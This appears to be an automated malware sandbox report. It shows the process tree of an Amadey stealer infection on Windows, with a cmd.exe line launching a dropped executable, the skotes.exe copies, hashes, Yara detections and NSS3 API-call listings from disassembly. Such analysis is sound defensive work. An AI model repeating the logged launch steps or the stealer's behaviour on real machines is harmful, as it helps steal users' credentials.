MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	06:49:51
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6972 --field-trial-handle=1980,i,12650949980174122728,4087941016625412887,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	06:50:12
Start date:	28/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsDHJECFCGHI.exe"
Imagebase:	0x410000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	06:50:12
Start date:	28/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	06:50:12
Start date:	28/11/2024
Path:	C:\Users\user\DocumentsDHJECFCGHI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsDHJECFCGHI.exe"
Imagebase:	0x2c0000
File size:	1'928'192 bytes
MD5 hash:	A93B02D857DB3B12C32BD765B83825AB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.1846706327.00000000002C1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000003.1804427465.0000000005150000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	06:50:15
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x220000
File size:	1'928'192 bytes
MD5 hash:	A93B02D857DB3B12C32BD765B83825AB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000003.1851240394.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001B.00000002.1891456591.0000000000221000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	06:50:15
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x220000
File size:	1'928'192 bytes
MD5 hash:	A93B02D857DB3B12C32BD765B83825AB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000003.1849859542.0000000004A20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.1890636916.0000000000221000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	06:50:46
Start date:	28/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6156 --field-trial-handle=1980,i,12650949980174122728,4087941016625412887,262144 /prefetch:8
Imagebase:	0x7ff7fb980000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	06:51:00
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x220000
File size:	1'928'192 bytes
MD5 hash:	A93B02D857DB3B12C32BD765B83825AB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000003.2284664697.0000000004A00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000020.00000002.2506123413.0000000000221000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	06:51:20
Start date:	28/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009855001\222aa393f7.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\1009855001\222aa393f7.exe"
Imagebase:	0xa30000
File size:	4'451'840 bytes
MD5 hash:	1D5CDAA864A209507BC54F040F492FFA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 37%, ReversingLabs
Has exited:	false

Show Windows behavior

Function 6CE96E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CFE2120,6CE97E60), ref: 6CE96EBC
TlsGetValue.KERNEL32 ref: 6CE96EDF
EnterCriticalSection.KERNEL32(?), ref: 6CE96EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6CE96F25

Part of subcall function 6CE6A900: TlsGetValue.KERNEL32(00000000,?,6CFE14E4,?,6CE04DD9), ref: 6CE6A90F
Part of subcall function 6CE6A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CE6A94F

PR_Unlock.NSS3 ref: 6CE96F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6CE96FA9
TlsGetValue.KERNEL32 ref: 6CE970B4
EnterCriticalSection.KERNEL32(?), ref: 6CE970C8
PR_CallOnce.NSS3(6CFE24C0,6CED7590), ref: 6CE97104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE97117
SECOID_Init.NSS3 ref: 6CE97128
PORT_Alloc_Util.NSS3(00000057), ref: 6CE9714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE9717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE971A9
PR_NotifyAllCondVar.NSS3 ref: 6CE971CF
PR_Unlock.NSS3 ref: 6CE971DD
free.MOZGLUE(?), ref: 6CE971EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE97208
free.MOZGLUE(00000000), ref: 6CE97221
free.MOZGLUE(00000001), ref: 6CE97235
TlsGetValue.KERNEL32 ref: 6CE9724A
EnterCriticalSection.KERNEL32(?), ref: 6CE9725E
PR_NotifyCondVar.NSS3 ref: 6CE97273
PR_Unlock.NSS3 ref: 6CE97281
SECMOD_DestroyModule.NSS3(00000000), ref: 6CE97291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE972B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE972D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE972E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE97301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE97310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE97335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE97344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE97363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE97372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6CFD0148,,defaultModDB,internalKeySlot), ref: 6CE974CC
free.MOZGLUE(00000000), ref: 6CE97513
free.MOZGLUE(00000000), ref: 6CE9751B
free.MOZGLUE(00000000), ref: 6CE97528
free.MOZGLUE(00000000), ref: 6CE9753C
free.MOZGLUE(00000000), ref: 6CE97550
free.MOZGLUE(00000000), ref: 6CE97561
free.MOZGLUE(00000000), ref: 6CE97572
free.MOZGLUE(00000000), ref: 6CE97583
free.MOZGLUE(00000000), ref: 6CE97594
free.MOZGLUE(00000000), ref: 6CE975A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6CE975BD
free.MOZGLUE(00000000), ref: 6CE975C8
free.MOZGLUE(00000000), ref: 6CE975F1
PR_NewLock.NSS3 ref: 6CE97636
SECMOD_DestroyModule.NSS3(00000000), ref: 6CE97686
PR_NewLock.NSS3 ref: 6CE976A2

Part of subcall function 6CF498D0: calloc.MOZGLUE(00000001,00000084,6CE70936,00000001,?,6CE7102C), ref: 6CF498E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6CE976B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6CE97707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CE9771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CE97731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6CE9774A
DeleteCriticalSection.KERNEL32(?), ref: 6CE97770
free.MOZGLUE(?), ref: 6CE97779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE9779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE977AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6CE977C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE977DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6CE97821
PORT_Alloc_Util.NSS3(?), ref: 6CE97837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6CE9785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE9786F
SECMOD_AddNewModuleEx.NSS3 ref: 6CE978AC
free.MOZGLUE(00000000), ref: 6CE978BE
SECMOD_AddNewModuleEx.NSS3 ref: 6CE978F3
free.MOZGLUE(00000000), ref: 6CE978FC
free.MOZGLUE(00000000), ref: 6CE9791C

Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707AD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707CD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707D6
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CE0204A), ref: 6CE707E4
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,6CE0204A), ref: 6CE70864
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE70880
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,6CE0204A), ref: 6CE708CB
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708D7
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708FB

Strings

rdb:, xrefs: 6CE97744
NSS Internal Module, xrefs: 6CE974A2, 6CE974C6
extern:, xrefs: 6CE9772B
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6CE974C7
dbm:, xrefs: 6CE97716
Spac, xrefs: 6CE97389
sql:, xrefs: 6CE976FE
dll, xrefs: 6CE9788E
kbi., xrefs: 6CE97886
,defaultModDB,internalKeySlot, xrefs: 6CE9748D, 6CE974AA

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 2698987ecf4b75a55a939c18ecc0e1c134cfafd557ae7d58728a32522ad49a99
Instruction ID: ef2ed439f4ac7da421d94d261b598dc3e4a64e46d5c4954c0e4d20d1c671586a
Opcode Fuzzy Hash: 2698987ecf4b75a55a939c18ecc0e1c134cfafd557ae7d58728a32522ad49a99
Instruction Fuzzy Hash: 8252F5B1E11305ABEF519F64CC057AA7BB4BF0A30CF254029ED09A7741EB71E958CB92

Function 6CEBBFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6CEBC0C8

Part of subcall function 6CF49440: LeaveCriticalSection.KERNEL32 ref: 6CF495CD
Part of subcall function 6CF49440: TlsGetValue.KERNEL32 ref: 6CF49622
Part of subcall function 6CF49440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6CF4964E

PR_EnterMonitor.NSS3 ref: 6CEBC0AE

Part of subcall function 6CF49090: LeaveCriticalSection.KERNEL32 ref: 6CF491AA
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF49212
Part of subcall function 6CF49090: _PR_MD_WAIT_CV.NSS3 ref: 6CF4926B

Part of subcall function 6CE70600: GetLastError.KERNEL32(?,?,?,?,?,6CE705E2), ref: 6CE70642
Part of subcall function 6CE70600: TlsGetValue.KERNEL32(?,?,?,?,?,6CE705E2), ref: 6CE7065D
Part of subcall function 6CE70600: GetLastError.KERNEL32 ref: 6CE70678
Part of subcall function 6CE70600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CE7068A
Part of subcall function 6CE70600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE70693
Part of subcall function 6CE70600: PR_SetErrorText.NSS3(00000000,?), ref: 6CE7069D
Part of subcall function 6CE70600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,72F0C949,?,?,?,?,?,6CE705E2), ref: 6CE706CA
Part of subcall function 6CE70600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CE705E2), ref: 6CE706E6

PR_EnterMonitor.NSS3 ref: 6CEBC0F2
PR_ExitMonitor.NSS3 ref: 6CEBC10E
PR_ExitMonitor.NSS3 ref: 6CEBC081

Part of subcall function 6CF49440: TlsGetValue.KERNEL32 ref: 6CF4945B
Part of subcall function 6CF49440: TlsGetValue.KERNEL32 ref: 6CF49479
Part of subcall function 6CF49440: EnterCriticalSection.KERNEL32 ref: 6CF49495
Part of subcall function 6CF49440: TlsGetValue.KERNEL32 ref: 6CF494E4
Part of subcall function 6CF49440: TlsGetValue.KERNEL32 ref: 6CF49532
Part of subcall function 6CF49440: LeaveCriticalSection.KERNEL32 ref: 6CF4955D

PR_EnterMonitor.NSS3 ref: 6CEBC068

Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490AB
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF490C9
Part of subcall function 6CF49090: EnterCriticalSection.KERNEL32 ref: 6CF490E5
Part of subcall function 6CF49090: TlsGetValue.KERNEL32 ref: 6CF49116
Part of subcall function 6CF49090: LeaveCriticalSection.KERNEL32 ref: 6CF4913F

Part of subcall function 6CE70600: GetProcAddress.KERNEL32(?,?), ref: 6CE70623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6CEBC14F
PR_LoadLibraryWithFlags.NSS3 ref: 6CEBC183
free.MOZGLUE(00000000), ref: 6CEBC18E
PR_LoadLibrary.NSS3(?), ref: 6CEBC1A3
PR_EnterMonitor.NSS3 ref: 6CEBC1D4
PR_ExitMonitor.NSS3 ref: 6CEBC1F3
PR_CallOnce.NSS3(6CFE2318,6CEBCA70), ref: 6CEBC210
PR_EnterMonitor.NSS3 ref: 6CEBC22B
PR_ExitMonitor.NSS3 ref: 6CEBC247
PR_EnterMonitor.NSS3 ref: 6CEBC26A
PR_ExitMonitor.NSS3 ref: 6CEBC287
PR_UnloadLibrary.NSS3(?), ref: 6CEBC2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6CEBC392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEBC3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6CEBC3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6CEBC782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6CEBC7B5
PR_UnloadLibrary.NSS3(?), ref: 6CEBC7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6CEBC82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEBC8BF
PORT_Alloc_Util.NSS3(?), ref: 6CEBC8D5
free.MOZGLUE(00000000), ref: 6CEBC900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEBC9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEBC9E5
free.MOZGLUE(00000000), ref: 6CEBCA5A

Strings

NSC_ModuleDBFunc, xrefs: 6CEBC0FC
FC_GetInterface, xrefs: 6CEBC054
NSS_DISABLE_UNLOAD, xrefs: 6CEBC7B0
Vendor NSS FIPS Interface, xrefs: 6CEBC34A
NSC_GetFunctionList, xrefs: 6CEBC093
NSS_FORCE_TOKEN_LOCK, xrefs: 6CEBC77D
FC_GetFunctionList, xrefs: 6CEBC098
nss_mod_log, xrefs: 6CEBC3CC
NSC_GetInterface, xrefs: 6CEBC04F
NSS_DEBUG_PKCS11_MODULE, xrefs: 6CEBC38D
NSS_ReturnModuleSpecData, xrefs: 6CEBC275
PKCS 11, xrefs: 6CEBC2F9, 6CEBC314

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 985ba2cd9789994c65a2bf53bb33442898e7952a72f3d6348cc84051e4472f4d
Instruction ID: 3057549cfef477b036291d7521b8aa4473c843ea0812a27c56f9c56d4b58772a
Opcode Fuzzy Hash: 985ba2cd9789994c65a2bf53bb33442898e7952a72f3d6348cc84051e4472f4d
Instruction Fuzzy Hash: 0142A3B1F14206AFEF84DF54CA47B6A3BB5BB4A308F244029D805ABB21E736D545CB91

Function 6CF93FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6CF93FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CF93FFE
malloc.MOZGLUE(-00000003), ref: 6CF94016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6CFCFC62), ref: 6CF9404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF9407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF940A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CF940D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF94112
malloc.MOZGLUE(00000000), ref: 6CF9411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6CF9414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF94160
free.MOZGLUE(?), ref: 6CF9416C
malloc.MOZGLUE(?), ref: 6CF941AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6CF941EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6CF94520), ref: 6CF94244
GetEnvironmentStrings.KERNEL32 ref: 6CF9424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF94263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF94283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF942B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF942E4
malloc.MOZGLUE(00000002), ref: 6CF942FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CF94342
GetStdHandle.KERNEL32(000000F6), ref: 6CF943AB
GetStdHandle.KERNEL32(000000F5), ref: 6CF943B2
GetStdHandle.KERNEL32(000000F4), ref: 6CF943B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CF94403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF94410

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6CF9445E
CloseHandle.KERNEL32(?), ref: 6CF9446B
free.MOZGLUE(?), ref: 6CF94482
free.MOZGLUE(00000000), ref: 6CF94492
free.MOZGLUE(00000000), ref: 6CF944A4
GetLastError.KERNEL32 ref: 6CF944B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CF944BE
free.MOZGLUE(?), ref: 6CF944C7
free.MOZGLUE(00000000), ref: 6CF944D5
free.MOZGLUE(00000000), ref: 6CF944EA

Strings

=, xrefs: 6CF944F8
D, xrefs: 6CF94396
NSPR_INHERIT_FDS=, xrefs: 6CF941E9

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: 57874e34479e8b1115e157f86befe432132b48ebf760a9bb57fa333d673559d0
Instruction ID: 67fb365248b65a3536e60bbce07359254e56ee37062657355477cf1177ab1b2b
Opcode Fuzzy Hash: 57874e34479e8b1115e157f86befe432132b48ebf760a9bb57fa333d673559d0
Instruction Fuzzy Hash: 1602D271E043519BFF119F7988807AEBFB4BF26308F254169DC6AA7742D731A844CB92

Function 6CEA6D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CFAA8EC,0000006C), ref: 6CEA6DC6
memcpy.VCRUNTIME140(?,6CFAA958,0000006C), ref: 6CEA6DDB
memcpy.VCRUNTIME140(?,6CFAA9C4,00000078), ref: 6CEA6DF1
memcpy.VCRUNTIME140(?,6CFAAA3C,0000006C), ref: 6CEA6E06
memcpy.VCRUNTIME140(?,6CFAAAA8,00000060), ref: 6CEA6E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEA6E38

Part of subcall function 6CF2C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF2C2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CEA6E76
TlsGetValue.KERNEL32 ref: 6CEA726F
EnterCriticalSection.KERNEL32(?), ref: 6CEA7283

Strings

!, xrefs: 6CEA7123

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: dfa49e978b340158991af57db83f9ad02cc22defb6f08936e91e5330a9386132
Instruction ID: 9aa9f78220553fd2a3220654d45b992748968eb59541045fc8b8d37955b601a2
Opcode Fuzzy Hash: dfa49e978b340158991af57db83f9ad02cc22defb6f08936e91e5330a9386132
Instruction Fuzzy Hash: 72729075D052149FDF60CF68CC8879ABBB5AF49308F2041E9D80CAB315DB31AA86CF91

Function 6CE13C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE13C66
